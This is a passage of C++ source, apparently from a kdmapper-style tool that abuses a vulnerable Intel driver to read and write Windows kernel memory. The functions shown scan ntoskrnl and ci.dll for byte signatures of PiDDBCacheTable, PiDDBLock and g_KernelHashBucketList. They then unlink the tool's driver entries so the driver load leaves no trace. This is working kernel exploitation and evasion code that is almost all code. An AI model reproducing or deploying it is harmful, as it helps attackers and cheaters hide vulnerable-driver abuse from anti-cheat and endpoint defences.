kernel_RtlDeleteElementGenericTableAvl, Table, Buffer) && out); } PVOID intel_driver::RtlLookupElementGenericTableAvl(nt::PRTL_AVL_TABLE Table, PVOID Buffer) { if (!Table) return nullptr; static uint64_t kernel_RtlDeleteElementGenericTableAvl = GetKernelModuleExport(intel_driver::ntoskrnlAddr, "RtlLookupElementGenericTableAvl"); if (!kernel_RtlDeleteElementGenericTableAvl) { kdmLog(L"[!] Failed to find RtlLookupElementGenericTableAvl" << std::endl); return nullptr; } PVOID out; if (!CallKernelFunction(&out, kernel_RtlDeleteElementGenericTableAvl, Table, Buffer)) return 0; return out; } nt::PiDDBCacheEntry* intel_driver::LookupEntry(nt::PRTL_AVL_TABLE PiDDBCacheTable, ULONG timestamp, const wchar_t * name) { nt::PiDDBCacheEntry localentry{}; localentry.TimeDateStamp = timestamp; localentry.DriverName.Buffer = (PWSTR)name; localentry.DriverName.Length = (USHORT)(wcslen(name) * 2); localentry.DriverName.MaximumLength = localentry.DriverName.Length + 2; return (nt::PiDDBCacheEntry*)RtlLookupElementGenericTableAvl(PiDDBCacheTable, (PVOID)&localentry); } bool intel_driver::ClearPiDDBCacheTable() { //PiDDBCacheTable added on LoadDriver #ifdef PDB_OFFSETS auto PiDDBLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBLock"); if (!PiDDBLockOffset) { kdmLog(L"[-] Warning PiDDBLock not found" << std::endl); return false; } auto PiDDBCacheTableOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"PiDDBCacheTable"); if (!PiDDBCacheTableOffset) { kdmLog(L"[-] Warning PiDDBCacheTable not found" << std::endl); return false; } PVOID PiDDBLock = (PVOID)(intel_driver::ntoskrnlAddr + PiDDBLockOffset); nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)(intel_driver::ntoskrnlAddr + PiDDBCacheTableOffset); #else auto PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x66\xFF\x88\x00\x00\x00\x00\xB2\x01\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????x????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 66 FF 88 ? ? ? ? B2 01 48 8D 0D ? ? ? ? E8 ? ? ? ? 4C 8B ? 24 update for build 22000.132 auto PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x66\x03\xD2\x48\x8D\x0D", "xxxxxx"); // 66 03 D2 48 8D 0D if (PiDDBLockPtr == NULL) { // PiDDBLock pattern changes a lot from version 1607 of windows and we will need a second pattern if we want to keep simple as possible PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\x0D\x00\x00\x00\x00\x48\x85\xC9\x0F\x85\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xE8\x00\x00\x00\x00\xE8", "xxx????xxxxx????xxx????x????x"); // 48 8B 0D ? ? ? ? 48 85 C9 0F 85 ? ? ? ? 48 8D 0D ? ? ? ? E8 ? ? ? ? E8 build 22449+ (pattern can be improved but just fine for now) if (PiDDBLockPtr == NULL) { PiDDBLockPtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x8B\xD8\x85\xC0\x0F\x88\x00\x00\x00\x00\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8D\x0D\x00\x00\x00\x00\xB2\x01\x66\xFF\x88\x00\x00\x00\x00\x90\xE8\x00\x00\x00\x00\x4C\x8B\x00\x24", "xxxxxx????xxxxx????xxx????xxxxx????xx????xx?x"); // 8B D8 85 C0 0F 88 ? ? ? ? 65 48 8B 04 25 ? ? ? ? 48 8D 0D ? ? ? ? B2 01 66 FF 88 ? ? ? ? 90 E8 ? ? ? ? 4C 8B ? 24 update for build 26100.1000 if (PiDDBLockPtr == NULL) { kdmLog(L"[-] Warning PiDDBLock not found" << std::endl); return false; } else { kdmLog(L"[+] PiDDBLock found with third pattern" << std::endl); PiDDBLockPtr += 19;//third pattern offset } } else { kdmLog(L"[+] PiDDBLock found with second pattern" << std::endl); PiDDBLockPtr += 16; //second pattern offset } } else { PiDDBLockPtr += 28; //first pattern offset } if (PiDDBCacheTablePtr == NULL) { PiDDBCacheTablePtr = FindPatternInSectionAtKernel("PAGE", intel_driver::ntoskrnlAddr, (PUCHAR)"\x48\x8B\xF9\x33\xC0\x48\x8D\x0D", "xxxxxxxx"); // 48 8B F9 33 C0 48 8D 0D if (PiDDBCacheTablePtr == NULL) { kdmLog(L"[-] Warning PiDDBCacheTable not found" << std::endl); return false; } else { kdmLog(L"[+] PiDDBCacheTable found with second pattern" << std::endl); PiDDBCacheTablePtr += 2;//second pattern offset } } kdmLog("[+] PiDDBLock Ptr 0x" << std::hex << PiDDBLockPtr << std::endl); kdmLog("[+] PiDDBCacheTable Ptr 0x" << std::hex << PiDDBCacheTablePtr << std::endl); PVOID PiDDBLock = ResolveRelativeAddress((PVOID)PiDDBLockPtr, 3, 7); nt::PRTL_AVL_TABLE PiDDBCacheTable = (nt::PRTL_AVL_TABLE)ResolveRelativeAddress((PVOID)PiDDBCacheTablePtr, 6, 10); #endif //context part is not used by lookup, lock or delete why we should use it? if (!ExAcquireResourceExclusiveLite(PiDDBLock, true)) { kdmLog(L"[-] Can't lock PiDDBCacheTable" << std::endl); return false; } kdmLog(L"[+] PiDDBLock Locked" << std::endl); auto n = GetDriverNameW(); auto timestamp = portable_executable::GetNtHeaders((void*)intel_driver_resource::driver)->FileHeader.TimeDateStamp; // search our entry in the table nt::PiDDBCacheEntry* pFoundEntry = (nt::PiDDBCacheEntry*)LookupEntry(PiDDBCacheTable, timestamp, n.c_str()); if (pFoundEntry == nullptr) { kdmLog(L"[-] Not found in cache" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } // first, unlink from the list PLIST_ENTRY prev; if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Blink)), &prev, sizeof(_LIST_ENTRY*))) { kdmLog(L"[-] Can't get prev entry" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } PLIST_ENTRY next; if (!ReadMemory((uintptr_t)pFoundEntry + (offsetof(struct nt::_PiDDBCacheEntry, List.Flink)), &next, sizeof(_LIST_ENTRY*))) { kdmLog(L"[-] Can't get next entry" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } kdmLog("[+] Found Table Entry = 0x" << std::hex << pFoundEntry << std::endl); if (!WriteMemory((uintptr_t)prev + (offsetof(struct _LIST_ENTRY, Flink)), &next, sizeof(_LIST_ENTRY*))) { kdmLog(L"[-] Can't set next entry" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } if (!WriteMemory((uintptr_t)next + (offsetof(struct _LIST_ENTRY, Blink)), &prev, sizeof(_LIST_ENTRY*))) { kdmLog(L"[-] Can't set prev entry" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } // then delete the element from the avl table if (!RtlDeleteElementGenericTableAvl(PiDDBCacheTable, pFoundEntry)) { kdmLog(L"[-] Can't delete from PiDDBCacheTable" << std::endl); ExReleaseResourceLite(PiDDBLock); return false; } //Decrement delete count ULONG cacheDeleteCount = 0; ReadMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); if (cacheDeleteCount > 0) { cacheDeleteCount--; WriteMemory((uintptr_t)PiDDBCacheTable + (offsetof(struct nt::_RTL_AVL_TABLE, DeleteCount)), &cacheDeleteCount, sizeof(ULONG)); } // release the ddb resource lock ExReleaseResourceLite(PiDDBLock); kdmLog(L"[+] PiDDBCacheTable Cleaned" << std::endl); return true; } uintptr_t intel_driver::FindPatternAtKernel(uintptr_t dwAddress, uintptr_t dwLen, BYTE* bMask, const char* szMask) { if (!dwAddress) { kdmLog(L"[-] No module address to find pattern" << std::endl); return 0; } if (dwLen > 1024 * 1024 * 1024) { //if read is > 1GB kdmLog(L"[-] Can't find pattern, Too big section" << std::endl); return 0; } auto sectionData = std::make_unique(dwLen); if (!ReadMemory(dwAddress, sectionData.get(), dwLen)) { kdmLog(L"[-] Read failed in FindPatternAtKernel" << std::endl); return 0; } auto result = kdmUtils::FindPattern((uintptr_t)sectionData.get(), dwLen, bMask, szMask); if (result <= 0) { return 0; } result = dwAddress - (uintptr_t)sectionData.get() + result; return result; } uintptr_t intel_driver::FindSectionAtKernel(const char* sectionName, uintptr_t modulePtr, PULONG size) { if (!modulePtr) return 0; BYTE headers[0x1000]; if (!ReadMemory(modulePtr, headers, 0x1000)) { kdmLog(L"[-] Can't read module headers" << std::endl); return 0; } ULONG sectionSize = 0; uintptr_t section = (uintptr_t)kdmUtils::FindSection(sectionName, (uintptr_t)headers, §ionSize); if (!section || !sectionSize) { kdmLog(L"[-] Can't find section" << std::endl); return 0; } if (size) *size = sectionSize; return section - (uintptr_t)headers + modulePtr; } uintptr_t intel_driver::FindPatternInSectionAtKernel(const char* sectionName, uintptr_t modulePtr, BYTE* bMask, const char* szMask) { ULONG sectionSize = 0; uintptr_t section = FindSectionAtKernel(sectionName, modulePtr, §ionSize); return FindPatternAtKernel(section, sectionSize, bMask, szMask); } bool intel_driver::ClearKernelHashBucketList() { uint64_t ci = kdmUtils::GetKernelModuleAddress("ci.dll"); if (!ci) { kdmLog(L"[-] Can't Find ci.dll module address" << std::endl); return false; } //Thanks @KDIo3 and @Swiftik from UnknownCheats #ifdef PDB_OFFSETS auto g_KernelHashBucketListOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_KernelHashBucketList"); if (!g_KernelHashBucketListOffset) { kdmLog(L"[-] Can't Find g_KernelHashBucketList Offset" << std::endl); return false; } auto g_HashCacheLockOffset = KDSymbolsHandler::GetInstance()->GetOffset(L"g_HashCacheLock"); if (!g_HashCacheLockOffset) { kdmLog(L"[-] Can't Find g_HashCacheLock Offset" << std::endl); return false; } PVOID g_KernelHashBucketList = (PVOID)(ci + g_KernelHashBucketListOffset); PVOID g_HashCacheLock = (PVOID)(ci + g_HashCacheLockOffset); #else auto sig = FindPatternInSectionAtKernel("PAGE", ci, PUCHAR("\x48\x8B\x1D\x00\x00\x00\x00\xEB\x00\xF7\x43\x40\x00\x20\x00\x00"), "xxx????x?xxxxxxx"); if (!sig) { kdmLog(L"[-] Can't Find g_KernelHashBucketList" << std::endl); return false; } auto sig2 = FindPatternAtKernel((uintptr_t)sig - 50, 50, PUCHAR("\x48\x8D\x0D"), "xxx"); if (!sig2) { kdmLog(L"[-] Can't Find g_HashCacheLock" << std::endl); return false; } const auto g_KernelHashBucketList = ResolveRelativeAddress((PVOID)sig, 3, 7); const auto g_HashCacheLock = ResolveRelativeAddress((PVOID)sig2, 3, 7); if (!g_KernelHashBucketList || !g_HashCacheLock) { kdmLog(L"[-] Can't Find g_HashCache relative address" << std::endl); return false; } #endif kdmLog(L"[+] g_KernelHashBucketList Found 0x" << std::hex << g_KernelHashBucketList << std::endl); if (!ExAcquireResourceExclusiveLite(g_HashCacheLock, true)) { kdmLog(L"[-] Can't lock g_HashCacheLock" << std::endl); return false; } kdmLog(L"[+] g_HashCacheLock Locked" << std::endl); nt::HashBucketEntry* prev = (nt::HashBucketEntry*)g_KernelHashBucketList; nt::HashBucketEntry* entry = 0; if (!ReadMemory((uintptr_t)prev, &entry, sizeof(entry))) { kdmLog(L"[-] Failed to read first g_KernelHashBucketList entry!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!entry) { kdmLog(L"[!] g_KernelHashBucketList looks empty!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return true; } std::wstring wdname = GetDriverNameW(); std::wstring search_path = GetDriverPath(); SIZE_T expected_len = (search_path.length() - 2) * 2; while (entry) { USHORT wsNameLen = 0; if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Length), &wsNameLen, sizeof(wsNameLen)) || wsNameLen == 0) { kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text len!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (expected_len == wsNameLen) { wchar_t* wsNamePtr = 0; if (!ReadMemory((uintptr_t)entry + offsetof(nt::HashBucketEntry, DriverName.Buffer), &wsNamePtr, sizeof(wsNamePtr)) || !wsNamePtr) { kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text ptr!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } auto wsName = std::make_unique((ULONG64)wsNameLen / 2ULL + 1ULL); if (!ReadMemory((uintptr_t)wsNamePtr, wsName.get(), wsNameLen)) { kdmLog(L"[-] Failed to read g_KernelHashBucketList entry text!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } size_t find_result = std::wstring(wsName.get()).find(wdname); if (find_result != std::wstring::npos) { kdmLog(L"[+] Found In g_KernelHashBucketList: " << std::wstring(&wsName[find_result]) << std::endl); nt::HashBucketEntry* Next = 0; if (!ReadMemory((uintptr_t)entry, &Next, sizeof(Next))) { kdmLog(L"[-] Failed to read g_KernelHashBucketList next entry ptr!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!WriteMemory((uintptr_t)prev, &Next, sizeof(Next))) { kdmLog(L"[-] Failed to write g_KernelHashBucketList prev entry ptr!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } if (!FreePool((uintptr_t)entry)) { kdmLog(L"[-] Failed to clear g_KernelHashBucketList entry pool!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } kdmLog(L"[+] g_KernelHashBucketList Cleaned" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); return false; } return true; } } prev = entry; //read next if (!ReadMemory((uintptr_t)entry, &entry, sizeof(entry))) { kdmLog(L"[-] Failed to read g_KernelHashBucketList next entry!" << std::endl); if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; } } if (!ExReleaseResourceLite(g_HashCacheLock)) { kdmLog(L"[-] Failed to release g_KernelHashBucketList lock!" << std::endl); } return false; }